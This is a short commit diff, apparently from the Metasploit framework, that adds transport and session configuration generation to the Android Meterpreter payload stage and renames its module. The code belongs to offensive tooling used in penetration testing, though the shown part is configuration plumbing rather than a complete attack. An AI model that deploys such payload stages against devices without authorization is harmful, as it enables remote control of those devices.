Add transport configuration support

modules/payloads/stages/android/meterpreter.rb

@@ -7,9 +7,10 @@ require 'msf/core'
 require 'msf/core/payload/dalvik'
 require 'msf/base/sessions/meterpreter_android'
 require 'msf/base/sessions/meterpreter_options'
+require 'rex/payloads/meterpreter/config'
 
+module Metasploit4
 
-module Metasploit3
   include Msf::Sessions::MeterpreterOptions
 
   def initialize(info = {})
@@ -44,6 +45,25 @@ module Metasploit3
 
     # Name of the class to load from the stage, the actual jar to load
     # it from, and then finally the meterpreter stage
-    java_string(clazz) + java_string(metstage) + java_string(met)
+    java_string(clazz) + java_string(metstage) + java_string(met) + java_string(generate_config(opts))
+  end
+
+  def generate_config(opts={})
+    opts[:uuid] ||= generate_payload_uuid
+
+    # create the configuration block, which for staged connections is really simple.
+    config_opts = {
+      ascii_str:  true,
+      arch:       opts[:uuid].arch,
+      expiration: datastore['SessionExpirationTimeout'].to_i,
+      uuid:       opts[:uuid],
+      transports: [transport_config(opts)]
+    }
+
+    # create the configuration instance based off the parameters
+    config = Rex::Payloads::Meterpreter::Config.new(config_opts)
+
+    # return the XML version of it
+    config.to_b
   end
 end